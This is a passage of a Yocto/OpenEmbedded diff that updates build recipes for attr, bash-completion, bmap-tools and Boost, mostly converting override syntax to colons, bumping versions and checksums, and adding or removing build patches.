-ALTERNATIVE_${PN} = "setfattr"
+ALTERNATIVE:${PN} = "setfattr"
ALTERNATIVE_TARGET[setfattr] = "${bindir}/setfattr"
PTEST_BUILD_HOST_FILES = "builddefs"
@@ -46,7 +48,7 @@ do_install_ptest() {
cp -rf ${S}/test/ ${D}${PTEST_PATH}
}
-RDEPENDS_${PN}-ptest = "attr \
+RDEPENDS:${PN}-ptest = "attr \
coreutils \
perl-module-filehandle \
perl-module-getopt-std \
diff --git a/meta/recipes-support/attr/attr_2.4.48.bb b/meta/recipes-support/attr/attr_2.4.48.bb
deleted file mode 100644
index 530d4e4883..0000000000
--- a/meta/recipes-support/attr/attr_2.4.48.bb
+++ /dev/null
@@ -1,6 +0,0 @@
-require attr.inc
-
-SRC_URI[md5sum] = "bc1e5cb5c96d99b24886f1f527d3bb3d"
-SRC_URI[sha256sum] = "5ead72b358ec709ed00bbf7a9eaef1654baad937c001c044fe8b74c57f5324e7"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/attr/attr_2.5.1.bb b/meta/recipes-support/attr/attr_2.5.1.bb
new file mode 100644
index 0000000000..5c5f7bcffb
--- /dev/null
+++ b/meta/recipes-support/attr/attr_2.5.1.bb
@@ -0,0 +1,5 @@
+require attr.inc
+
+SRC_URI[sha256sum] = "bae1c6949b258a0d68001367ce0c741cebdacdd3b62965d17e5eb23cd78adaf8"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/bash-completion/bash-completion_2.11.bb b/meta/recipes-support/bash-completion/bash-completion_2.11.bb
index bab8a018ce..f63a69b5b4 100644
--- a/meta/recipes-support/bash-completion/bash-completion_2.11.bb
+++ b/meta/recipes-support/bash-completion/bash-completion_2.11.bb
@@ -1,4 +1,9 @@
SUMMARY = "Programmable Completion for Bash 4"
+DESCRIPTION = "Collection of command line command completions for the Bash shell, \
+collection of helper functions to assist in creating new completions, \
+and set of facilities for loading completions automatically on demand, as well \
+as installing them."
+
HOMEPAGE = "https://github.com/scop/bash-completion"
BUGTRACKER = "https://github.com/scop/bash-completion/issues"
@@ -18,20 +23,18 @@ PARALLEL_MAKE = ""
inherit autotools
-do_install_append() {
+do_install:append() {
# compatdir
install -d ${D}${sysconfdir}/bash_completion.d/
echo '. ${datadir}/${BPN}/bash_completion' >${D}${sysconfdir}/bash_completion
}
-RDEPENDS_${PN} = "bash"
+RDEPENDS:${PN} = "bash"
# Some recipes are providing ${PN}-bash-completion packages
PACKAGES =+ "${PN}-extra"
-FILES_${PN}-extra = "${datadir}/${BPN}/completions/ \
+FILES:${PN}-extra = "${datadir}/${BPN}/completions/ \
${datadir}/${BPN}/helpers/"
-FILES_${PN}-dev += "${datadir}/cmake"
-
BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb b/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb
deleted file mode 100644
index fd57f8f7f0..0000000000
--- a/meta/recipes-support/bmap-tools/bmap-tools_3.5.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Tools to generate block map (AKA bmap) and flash images using bmap"
-DESCRIPTION = "Bmap-tools - tools to generate block map (AKA bmap) and flash images using \
-bmap. Bmaptool is a generic tool for creating the block map (bmap) for a file, \
-and copying files using the block map. The idea is that large file containing \
-unused blocks, like raw system image files, can be copied or flashed a lot \
-faster with bmaptool than with traditional tools like "dd" or "cp"."
-HOMEPAGE = "https://github.com/01org/bmap-tools"
-SECTION = "console/utils"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-SRC_URI = "git://github.com/intel/${BPN}"
-
-SRCREV = "a17f0e3ff8669dd3b1c44a741ae4f8162155faed"
-S = "${WORKDIR}/git"
-PV .= "+git${SRCPV}"
-
-UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
-
-RDEPENDS_${PN} = "python3-core python3-compression python3-mmap python3-setuptools python3-fcntl python3-six"
-
-inherit python3native
-inherit setuptools3
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/bmap-tools/bmap-tools_3.6.bb b/meta/recipes-support/bmap-tools/bmap-tools_3.6.bb
new file mode 100644
index 0000000000..c66ff3a7da
--- /dev/null
+++ b/meta/recipes-support/bmap-tools/bmap-tools_3.6.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Tools to generate block map (AKA bmap) and flash images using bmap"
+DESCRIPTION = "Bmap-tools - tools to generate block map (AKA bmap) and flash images using \
+bmap. Bmaptool is a generic tool for creating the block map (bmap) for a file, \
+and copying files using the block map. The idea is that large file containing \
+unused blocks, like raw system image files, can be copied or flashed a lot \
+faster with bmaptool than with traditional tools like "dd" or "cp"."
+HOMEPAGE = "https://github.com/01org/bmap-tools"
+SECTION = "console/utils"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "git://github.com/intel/${BPN};branch=master;protocol=https"
+
+SRCREV = "c0673962a8ec1624b5189dc1d24f33fe4f06785a"
+S = "${WORKDIR}/git"
+PV .= "+git${SRCPV}"
+
+UPSTREAM_CHECK_GITTAGREGEX = "v(?P<pver>\d+(\.\d+)+)"
+
+# Need df from coreutils
+RDEPENDS:${PN} = "python3-core python3-compression python3-mmap python3-setuptools python3-fcntl python3-six coreutils"
+
+inherit python3native
+inherit setuptools3
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/boost/boost-1.74.0.inc b/meta/recipes-support/boost/boost-1.74.0.inc
deleted file mode 100644
index b47fdaf099..0000000000
--- a/meta/recipes-support/boost/boost-1.74.0.inc
+++ /dev/null
@@ -1,20 +0,0 @@
-# The Boost web site provides free peer-reviewed portable
-# C++ source libraries. The emphasis is on libraries which
-# work well with the C++ Standard Library. The libraries are
-# intended to be widely useful, and are in regular use by
-# thousands of programmers across a broad spectrum of applications.
-HOMEPAGE = "http://www.boost.org/"
-LICENSE = "BSL-1.0 & MIT & Python-2.0"
-LIC_FILES_CHKSUM = "file://LICENSE_1_0.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
-
-BOOST_VER = "${@"_".join(d.getVar("PV").split("."))}"
-BOOST_MAJ = "${@"_".join(d.getVar("PV").split(".")[0:2])}"
-BOOST_P = "boost_${BOOST_VER}"
-
-SRC_URI = "https://dl.bintray.com/boostorg/release/${PV}/source/${BOOST_P}.tar.bz2"
-SRC_URI[sha256sum] = "83bfc1507731a0906e387fc28b7ef5417d591429e51e788417fe9ff025e116b1"
-
-UPSTREAM_CHECK_URI = "http://www.boost.org/users/download/"
-UPSTREAM_CHECK_REGEX = "boostorg/release/(?P<pver>.*)/source/"
-
-S = "${WORKDIR}/${BOOST_P}"
diff --git a/meta/recipes-support/boost/boost-1.78.0.inc b/meta/recipes-support/boost/boost-1.78.0.inc
new file mode 100644
index 0000000000..729a47b54f
--- /dev/null
+++ b/meta/recipes-support/boost/boost-1.78.0.inc
@@ -0,0 +1,20 @@
+# The Boost web site provides free peer-reviewed portable
+# C++ source libraries. The emphasis is on libraries which
+# work well with the C++ Standard Library. The libraries are
+# intended to be widely useful, and are in regular use by
+# thousands of programmers across a broad spectrum of applications.
+HOMEPAGE = "http://www.boost.org/"
+LICENSE = "BSL-1.0 & MIT & Python-2.0"
+LIC_FILES_CHKSUM = "file://LICENSE_1_0.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
+
+BOOST_VER = "${@"_".join(d.getVar("PV").split("."))}"
+BOOST_MAJ = "${@"_".join(d.getVar("PV").split(".")[0:2])}"
+BOOST_P = "boost_${BOOST_VER}"
+
+SRC_URI = "https://boostorg.jfrog.io/artifactory/main/release/${PV}/source/${BOOST_P}.tar.bz2"
+SRC_URI[sha256sum] = "8681f175d4bdb26c52222665793eef08490d7758529330f98d3b29dd0735bccc"
+
+UPSTREAM_CHECK_URI = "http://www.boost.org/users/download/"
+UPSTREAM_CHECK_REGEX = "release/(?P<pver>.*)/source/"
+
+S = "${WORKDIR}/${BOOST_P}"
diff --git a/meta/recipes-support/boost/boost-build-native_4.3.0.bb b/meta/recipes-support/boost/boost-build-native_4.3.0.bb
deleted file mode 100644
index 258f8c9cdf..0000000000
--- a/meta/recipes-support/boost/boost-build-native_4.3.0.bb
+++ /dev/null
@@ -1,25 +0,0 @@
-SUMMARY = "Boost.Build"
-SECTION = "devel"
-
-LICENSE = "BSL-1.0"
-LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
-
-SRC_URI = "git://github.com/boostorg/build;protocol=https"
-SRCREV = "632ea768f3eb225b4472c5ed6d20afee708724ad"
-
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+){2,}))"
-
-inherit native
-
-S = "${WORKDIR}/git"
-
-do_compile() {
- ./bootstrap.sh
-}
-
-do_install() {
- ./b2 install --prefix=${prefix} staging-prefix=${D}${prefix}
-}
-
-# The build is either release mode (pre-stripped) or debug (-O0).
-INSANE_SKIP_${PN} = "already-stripped"
diff --git a/meta/recipes-support/boost/boost-build-native_4.4.1.bb b/meta/recipes-support/boost/boost-build-native_4.4.1.bb
new file mode 100644
index 0000000000..de566eeb82
--- /dev/null
+++ b/meta/recipes-support/boost/boost-build-native_4.4.1.bb
@@ -0,0 +1,27 @@
+SUMMARY = "Boost.Build"
+DESCRIPTION = "B2 makes it easy to build C++ projects, everywhere."
+HOMEPAGE = "https://github.com/boostorg/build"
+SECTION = "devel"
+
+LICENSE = "BSL-1.0"
+LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=e4224ccaecb14d942c71d31bef20d78c"
+
+SRC_URI = "git://github.com/boostorg/build;protocol=https;branch=master"
+SRCREV = "76da80f33187a3d9e5336157cdfae12ce82e37eb"
+
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+){2,}))"
+
+inherit native
+
+S = "${WORKDIR}/git"
+
+do_compile() {
+ ./bootstrap.sh
+}
+
+do_install() {
+ HOME=/var/run ./b2 install --prefix=${prefix} staging-prefix=${D}${prefix}
+}
+
+# The build is either release mode (pre-stripped) or debug (-O0).
+INSANE_SKIP:${PN} = "already-stripped"
diff --git a/meta/recipes-support/boost/boost.inc b/meta/recipes-support/boost/boost.inc
index cbf9cad707..fa49ed3f8a 100644
--- a/meta/recipes-support/boost/boost.inc
+++ b/meta/recipes-support/boost/boost.inc
@@ -1,11 +1,15 @@
SUMMARY = "Free peer-reviewed portable C++ source libraries"
+DESCRIPTION = "Provides free peer-reviewed portable C++ source libraries. The emphasis is on libraries which work well with the C++ \
+Standard Library. One goal is to establish 'existing practice' and \
+provide reference implementations so that the Boost libraries are suitable for eventual standardization. Some of the libraries have already been proposed for inclusion in the C++ Standards Committee's \
+upcoming C++ Standard Library Technical Report."
SECTION = "libs"
DEPENDS = "boost-build-native zlib bzip2"
CVE_PRODUCT = "boost:boost"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
B = "${WORKDIR}/build"
do_configure[cleandirs] = "${B}"
@@ -59,40 +63,43 @@ PACKAGES = "${PN}-dbg ${BOOST_PACKAGES}"
python __anonymous () {
packages = []
extras = []
+ pn = d.getVar("PN")
mlprefix = d.getVar("MLPREFIX")
for lib in d.getVar('BOOST_LIBS').split():
extras.append("--with-%s" % lib)
pkg = "boost-%s" % (lib.replace("_", "-"))
+ if "-native" in pn:
+ pkg = pkg + "-native"
packages.append(mlprefix + pkg)
- if not d.getVar("FILES_%s" % pkg):
- d.setVar("FILES_%s%s" % (mlprefix, pkg), "${libdir}/libboost_%s*.so.*" % lib)
+ if not d.getVar("FILES:%s" % pkg):
+ d.setVar("FILES:%s%s" % (mlprefix, pkg), "${libdir}/libboost_%s*.so.*" % lib)
else:
- d.setVar("FILES_%s%s" % (mlprefix, pkg), d.getVar("FILES_%s" % pkg))
+ d.setVar("FILES:%s%s" % (mlprefix, pkg), d.getVar("FILES:%s" % pkg))
d.setVar("BOOST_PACKAGES", " ".join(packages))
d.setVar("BJAM_EXTRA", " ".join(extras))
}
# Override the contents of specific packages
-FILES_${PN}-graph_parallel = "${libdir}/libboost_graph_parallel.so.*"
-FILES_${PN}-locale = "${libdir}/libboost_locale.so.*"
-FILES_${PN}-mpi = "${libdir}/mpi.so ${libdir}/libboost_mpi*.so.*"
-FILES_boost-serialization = "${libdir}/libboost_serialization*.so.* \
+FILES:${PN}-graph_parallel = "${libdir}/libboost_graph_parallel.so.*"
+FILES:${PN}-locale = "${libdir}/libboost_locale.so.*"
+FILES:${PN}-mpi = "${libdir}/mpi.so ${libdir}/libboost_mpi*.so.*"
+FILES:boost-serialization = "${libdir}/libboost_serialization*.so.* \
${libdir}/libboost_wserialization*.so.*"
-FILES_boost-test = "${libdir}/libboost_prg_exec_monitor*.so.* \
+FILES:boost-test = "${libdir}/libboost_prg_exec_monitor*.so.* \
${libdir}/libboost_unit_test_framework*.so.*"
# -dev last to pick up the remaining stuff
PACKAGES += "${PN}-dev ${PN}-staticdev"
-FILES_${PN}-dev = "${includedir} ${libdir}/libboost_*.so ${libdir}/cmake"
-FILES_${PN}-staticdev = "${libdir}/libboost_*.a"
+FILES:${PN}-dev = "${includedir} ${libdir}/libboost_*.so ${libdir}/cmake"
+FILES:${PN}-staticdev = "${libdir}/libboost_*.a"
# "boost" is a metapackage which pulls in all boost librabries
PACKAGES += "${PN}"
-FILES_${PN} = ""
-ALLOW_EMPTY_${PN} = "1"
-RRECOMMENDS_${PN} += "${BOOST_PACKAGES}"
-RRECOMMENDS_${PN}_class-native = ""
+FILES:${PN} = ""
+ALLOW_EMPTY:${PN} = "1"
+RRECOMMENDS:${PN} += "${BOOST_PACKAGES}"
+RRECOMMENDS:${PN}:class-native = ""
# to avoid GNU_HASH QA errors added LDFLAGS to ARCH; a little bit dirty but at least it works
TARGET_CC_ARCH += "${LDFLAGS}"
@@ -148,14 +155,14 @@ BJAM_OPTS = '${BOOST_PARALLEL_MAKE} -d+2 -q \
${BJAM_EXTRA}'
# Native compilation of bzip2 isn't working
-BJAM_OPTS_append_class-native = ' -sNO_BZIP2=1'
+BJAM_OPTS:append:class-native = ' -sNO_BZIP2=1'
# Adjust the build for x32
-BJAM_OPTS_append_x86-x32 = " abi=x32 address-model=64"
+BJAM_OPTS:append:x86-x32 = " abi=x32 address-model=64"
# cross compiling for arm fails to detect abi, so provide some help
-BJAM_OPTS_append_arm = " abi=aapcs architecture=arm"
-BJAM_OPTS_append_aarch64 = " abi=aapcs address-model=64 architecture=arm"
+BJAM_OPTS:append:arm = " abi=aapcs architecture=arm"
+BJAM_OPTS:append:aarch64 = " abi=aapcs address-model=64 architecture=arm"
do_configure() {
cd ${S}
diff --git a/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch b/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch
deleted file mode 100644
index 169906344f..0000000000
--- a/meta/recipes-support/boost/boost/0001-Apply-boost-1.62.0-no-forced-flags.patch.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From 8845a786598f1d9e83aa1b7d2966b0d1eb765ba0 Mon Sep 17 00:00:00 2001
-From: Christopher Larson <chris_larson@mentor.com>
-Date: Tue, 13 Dec 2016 10:14:31 -0700
-Subject: [PATCH 1/3] Apply boost-1.62.0-no-forced-flags.patch
-
-Upstream-Status: Inappropriate
-Signed-off-by: Christopher Larson <chris_larson@mentor.com>
----
- libs/log/build/Jamfile.v2 | 4 ++--
- libs/log/config/x86-ext/Jamfile.jam | 16 ++++++++--------
- libs/log/src/dump_avx2.cpp | 4 ++++
- libs/log/src/dump_ssse3.cpp | 4 ++++
- 4 files changed, 18 insertions(+), 10 deletions(-)
-
-diff --git a/libs/log/build/Jamfile.v2 b/libs/log/build/Jamfile.v2
-index 4abbdbc..b3016fc 100644
---- a/libs/log/build/Jamfile.v2
-+++ b/libs/log/build/Jamfile.v2
-@@ -373,7 +373,7 @@ rule avx2-targets-cond ( properties * )
- }
- else if <toolset>clang in $(properties)
- {
-- result = <cxxflags>"-mavx -mavx2" ;
-+ result = <cxxflags> ;
- }
- else if <toolset>intel in $(properties)
- {
-@@ -383,7 +383,7 @@ rule avx2-targets-cond ( properties * )
- }
- else
- {
-- result = <cxxflags>"-xCORE-AVX2 -fabi-version=0" ;
-+ result = <cxxflags>"-fabi-version=0" ;
- }
- }
- else if <toolset>msvc in $(properties)
-diff --git a/libs/log/config/x86-ext/Jamfile.jam b/libs/log/config/x86-ext/Jamfile.jam
-index 0e9695a..dcc394d 100644
---- a/libs/log/config/x86-ext/Jamfile.jam
-+++ b/libs/log/config/x86-ext/Jamfile.jam
-@@ -15,19 +15,19 @@ project /boost/log/x86-extensions
-
- obj ssse3 : ssse3.cpp
- :
-- <toolset>gcc:<cxxflags>"-msse -msse2 -msse3 -mssse3"
-- <toolset>clang:<cxxflags>"-msse -msse2 -msse3 -mssse3"
-- <toolset>intel-linux:<cxxflags>"-xSSSE3"
-- <toolset>intel-darwin:<cxxflags>"-xSSSE3"
-+ <toolset>gcc:<cxxflags>
-+ <toolset>clang:<cxxflags>
-+ <toolset>intel-linux:<cxxflags>
-+ <toolset>intel-darwin:<cxxflags>
- <toolset>intel-win:<cxxflags>"/QxSSSE3"
- ;
-
- obj avx2 : avx2.cpp
- :
-- <toolset>gcc:<cxxflags>"-mavx -mavx2 -fabi-version=0"
-- <toolset>clang:<cxxflags>"-mavx -mavx2"
-- <toolset>intel-linux:<cxxflags>"-xCORE-AVX2 -fabi-version=0"
-- <toolset>intel-darwin:<cxxflags>"-xCORE-AVX2 -fabi-version=0"
-+ <toolset>gcc:<cxxflags>"-fabi-version=0"
-+ <toolset>clang:<cxxflags>
-+ <toolset>intel-linux:<cxxflags>"-fabi-version=0"
-+ <toolset>intel-darwin:<cxxflags>"-fabi-version=0"
- <toolset>intel-win:<cxxflags>"/arch:CORE-AVX2"
- <toolset>msvc:<cxxflags>"/arch:AVX"
- ;
-diff --git a/libs/log/src/dump_avx2.cpp b/libs/log/src/dump_avx2.cpp
-index 4ab1250..610fc6d 100644
---- a/libs/log/src/dump_avx2.cpp
-+++ b/libs/log/src/dump_avx2.cpp
-@@ -22,6 +22,10 @@
- #include <boost/cstdint.hpp>
- #include <boost/log/detail/header.hpp>
-
-+#if !defined(__AVX2__)
-+#error "AVX2 Unsupported!"
-+#endif
-+
- #if defined(__x86_64) || defined(__x86_64__) || \
- defined(__amd64__) || defined(__amd64) || \
- defined(_M_X64)
-diff --git a/libs/log/src/dump_ssse3.cpp b/libs/log/src/dump_ssse3.cpp
-index 1325b49..60d4112 100644
---- a/libs/log/src/dump_ssse3.cpp
-+++ b/libs/log/src/dump_ssse3.cpp
-@@ -22,6 +22,10 @@
- #include <boost/cstdint.hpp>
- #include <boost/log/detail/header.hpp>
-
-+#if !defined(__SSSE3__)
-+#error "SSSE3 Unsupported!"
-+#endif
-+
- #if defined(__x86_64) || defined(__x86_64__) || \
- defined(__amd64__) || defined(__amd64) || \
- defined(_M_X64)
---
-2.8.0
diff --git a/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch b/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
index 91ab53efd9..67d5dff125 100644
--- a/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
+++ b/meta/recipes-support/boost/boost/0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch
@@ -1,4 +1,4 @@
-From 8e1d30454afde37eaa3c593ec19d108cd5ed10d0 Mon Sep 17 00:00:00 2001
+From 4d2a8fc8117e56bc283349e5f7f889ebbfc55c71 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 18 Dec 2018 15:42:57 +0100
Subject: [PATCH] Don't set up arch/instruction-set flags, we do that
@@ -10,14 +10,14 @@ Signed-off-by: Christopher Larson <chris_larson@mentor.com>
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
- tools/build/src/tools/gcc.jam | 139 ----------------------------------
- 1 file changed, 139 deletions(-)
+ tools/build/src/tools/gcc.jam | 144 ----------------------------------
+ 1 file changed, 144 deletions(-)
diff --git a/tools/build/src/tools/gcc.jam b/tools/build/src/tools/gcc.jam
-index ff3209f7b..70cbc39a5 100644
+index 47a113223..d77525724 100644
--- a/tools/build/src/tools/gcc.jam
+++ b/tools/build/src/tools/gcc.jam
-@@ -1217,142 +1217,3 @@ local rule cpu-flags ( toolset variable : architecture : instruction-set + :
+@@ -1122,147 +1122,3 @@ local rule cpu-flags ( toolset variable : architecture : instruction-set + :
<architecture>$(architecture)/<instruction-set>$(instruction-set)
: $(values) ;
}
@@ -158,5 +158,10 @@ index ff3209f7b..70cbc39a5 100644
-cpu-flags gcc OPTIONS : s390x : z13 : -march=z13 ;
-cpu-flags gcc OPTIONS : s390x : z14 : -march=z14 ;
-cpu-flags gcc OPTIONS : s390x : z15 : -march=z15 ;
+-# ARM
+-cpu-flags gcc OPTIONS : arm : cortex-a9+vfpv3 : -mcpu=cortex-a9 -mfpu=vfpv3 -mfloat-abi=hard ;
+-cpu-flags gcc OPTIONS : arm : cortex-a53 : -mcpu=cortex-a53 ;
+-cpu-flags gcc OPTIONS : arm : cortex-r5 : -mcpu=cortex-r5 ;
+-cpu-flags gcc OPTIONS : arm : cortex-r5+vfpv3-d16 : -mcpu=cortex-r5 -mfpu=vfpv3-d16 -mfloat-abi=hard ;
-# AIX variant of RS/6000 & PowerPC
-toolset.flags gcc AROPTIONS <address-model>64/<target-os>aix : "-X64" ;
diff --git a/meta/recipes-support/boost/boost/0001-fiber-libs-Define-SYS_futex-if-it-does-not-exist.patch b/meta/recipes-support/boost/boost/0001-fiber-libs-Define-SYS_futex-if-it-does-not-exist.patch
deleted file mode 100644
index 523568e9bc..0000000000
--- a/meta/recipes-support/boost/boost/0001-fiber-libs-Define-SYS_futex-if-it-does-not-exist.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From d6f7b6064dc91d1d5fa18554b40b14822ab7a32b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Fri, 16 Oct 2020 11:13:22 -0700
-Subject: [PATCH] fiber,libs: Define SYS_futex if it does not exist
-
-__NR_futex is not defines by newer architectures e.g. arc, riscv32 as
-they only have 64bit variant of time_t. Glibc defines SYS_futex interface based on
-__NR_futex, since this is used in applications, such applications start
-to fail to build for these newer architectures. This patch defines a
-fallback to alias __NR_futex to __NR_futex_tim64 so SYS_futex keeps
-working
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- boost/fiber/detail/futex.hpp | 5 +++++
- libs/log/src/event.cpp | 4 ++++
- 2 files changed, 9 insertions(+)
-
-diff --git a/boost/fiber/detail/futex.hpp b/boost/fiber/detail/futex.hpp
-index e64bd5990..16bee64f1 100644
---- a/boost/fiber/detail/futex.hpp
-+++ b/boost/fiber/detail/futex.hpp
-@@ -17,6 +17,11 @@ extern "C" {
- #include <linux/futex.h>
- #include <sys/syscall.h>
- }
-+
-+#if !defined(SYS_futex) && defined(SYS_futex_time64)
-+#define SYS_futex SYS_futex_time64
-+#endif
-+
- #elif BOOST_OS_WINDOWS
- #include <windows.h>
- #endif
-diff --git a/libs/log/src/event.cpp b/libs/log/src/event.cpp
-index 5485154d7..2c7c0381f 100644
---- a/libs/log/src/event.cpp
-+++ b/libs/log/src/event.cpp
-@@ -31,6 +31,10 @@
- #include <linux/futex.h>
- #include <boost/memory_order.hpp>
-
-+#if !defined(SYS_futex) && defined(SYS_futex_time64)
-+#define SYS_futex SYS_futex_time64
-+#endif
-+
- // Some Android NDKs (Google NDK and older Crystax.NET NDK versions) don't define SYS_futex
- #if defined(SYS_futex)
- #define BOOST_LOG_SYS_FUTEX SYS_futex
---
-2.28.0
-
diff --git a/meta/recipes-support/boost/boost/arm-intrinsics.patch b/meta/recipes-support/boost/boost/arm-intrinsics.patch
deleted file mode 100644
index fe85c69a82..0000000000
--- a/meta/recipes-support/boost/boost/arm-intrinsics.patch
+++ /dev/null
@@ -1,55 +0,0 @@
-Upstream-Status: Backport
-
-8/17/2010 - rebased to 1.44 by Qing He <qing.he@intel.com>
-
-diff --git a/boost/smart_ptr/detail/atomic_count_sync.hpp b/boost/smart_ptr/detail/atomic_count_sync.hpp
-index b6359b5..78b1cc2 100644
---- a/boost/smart_ptr/detail/atomic_count_sync.hpp
-+++ b/boost/smart_ptr/detail/atomic_count_sync.hpp
-@@ -33,17 +33,46 @@ public:
-
- long operator++()
- {
-+#ifdef __ARM_ARCH_7A__
-+ int v1, tmp;
-+ asm volatile ("1: \n\t"
-+ "ldrex %0, %1 \n\t"
-+ "add %0 ,%0, #1 \n\t"
-+ "strex %2, %0, %1 \n\t"
-+ "cmp %2, #0 \n\t"
-+ "bne 1b \n\t"
-+ : "=&r" (v1), "+Q"(value_), "=&r"(tmp)
-+ );
-+#else
- return __sync_add_and_fetch( &value_, 1 );
-+#endif
- }
-
- long operator--()
- {
-+#ifdef __ARM_ARCH_7A__
-+ int v1, tmp;
-+ asm volatile ("1: \n\t"
-+ "ldrex %0, %1 \n\t"
-+ "sub %0 ,%0, #1 \n\t"
-+ "strex %2, %0, %1 \n\t"
-+ "cmp %2, #0 \n\t"
-+ "bne 1b \n\t"
-+ : "=&r" (v1), "+Q"(value_), "=&r"(tmp)
-+ );
-+ return value_;
-+#else
- return __sync_add_and_fetch( &value_, -1 );
-+#endif
- }
-
- operator long() const
- {
-+#if __ARM_ARCH_7A__
-+ return value_;
-+#else
- return __sync_fetch_and_add( &value_, 0 );
-+#endif
- }
-
- private:
diff --git a/meta/recipes-support/boost/boost/de657e01635306085488290ea83de541ec393f8b.patch b/meta/recipes-support/boost/boost/de657e01635306085488290ea83de541ec393f8b.patch
new file mode 100644
index 0000000000..867ec03ba6
--- /dev/null
+++ b/meta/recipes-support/boost/boost/de657e01635306085488290ea83de541ec393f8b.patch
@@ -0,0 +1,30 @@
+From de657e01635306085488290ea83de541ec393f8b Mon Sep 17 00:00:00 2001
+From: Leonardo Neumann <leonardo@neumann.dev.br>
+Date: Mon, 13 Dec 2021 01:07:20 -0300
+Subject: [PATCH] Fix missing sys/stat.h include on musl-based systems
+
+Boost 1.78.0 fails to build on musl-based systems because musl does
+not include sys/stat.h by default.
+
+Fixes #161 ("Boost compiler error")
+Upstream-Status: Submitted [https://github.com/boostorg/interprocess/pull/162]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ include/boost/interprocess/permissions.hpp | 4 ++++
+ 1 file changed, 4 insertions(+)
+
+diff --git a/boost/interprocess/permissions.hpp b/boost/interprocess/permissions.hpp
+index ab55411e..0b21a685 100644
+--- a/boost/interprocess/permissions.hpp
++++ b/boost/interprocess/permissions.hpp
+@@ -29,6 +29,10 @@
+
+ #include <boost/interprocess/detail/win32_api.hpp>
+
++#else
++
++#include <sys/stat.h>
++
+ #endif
+
+ #endif //#ifndef BOOST_INTERPROCESS_DOXYGEN_INVOKED
diff --git a/meta/recipes-support/boost/boost_1.74.0.bb b/meta/recipes-support/boost/boost_1.74.0.bb
deleted file mode 100644
index b01b390a59..0000000000
--- a/meta/recipes-support/boost/boost_1.74.0.bb
+++ /dev/null
@@ -1,11 +0,0 @@
-require boost-${PV}.inc
-require boost.inc
-
-SRC_URI += "file://arm-intrinsics.patch \
- file://boost-CVE-2012-2677.patch \
- file://boost-math-disable-pch-for-gcc.patch \
- file://0001-Apply-boost-1.62.0-no-forced-flags.patch.patch \
- file://0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch \
- file://0001-dont-setup-compiler-flags-m32-m64.patch \
- file://0001-fiber-libs-Define-SYS_futex-if-it-does-not-exist.patch \
- "
diff --git a/meta/recipes-support/boost/boost_1.78.0.bb b/meta/recipes-support/boost/boost_1.78.0.bb
new file mode 100644
index 0000000000..f4b6ed8576
--- /dev/null
+++ b/meta/recipes-support/boost/boost_1.78.0.bb
@@ -0,0 +1,9 @@
+require boost-${PV}.inc
+require boost.inc
+
+SRC_URI += "file://boost-CVE-2012-2677.patch \
+ file://boost-math-disable-pch-for-gcc.patch \
+ file://0001-Don-t-set-up-arch-instruction-set-flags-we-do-that-o.patch \
+ file://0001-dont-setup-compiler-flags-m32-m64.patch \
+ file://de657e01635306085488290ea83de541ec393f8b.patch \
+ "
diff --git a/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch b/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch
new file mode 100644
index 0000000000..5c4a32f526
--- /dev/null
+++ b/meta/recipes-support/ca-certificates/ca-certificates/0001-Revert-mozilla-certdata2pem.py-print-a-warning-for-e.patch
@@ -0,0 +1,80 @@
+From cb43ec15b700b25f3c4fe44043a1a021aaf5b768 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 18 Oct 2021 12:05:49 +0200
+Subject: [PATCH] Revert "mozilla/certdata2pem.py: print a warning for expired
+ certificates."
+
+This avoids a dependency on python3-cryptography, and only checks
+for expired certs (which is upstream concern, but not ours).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
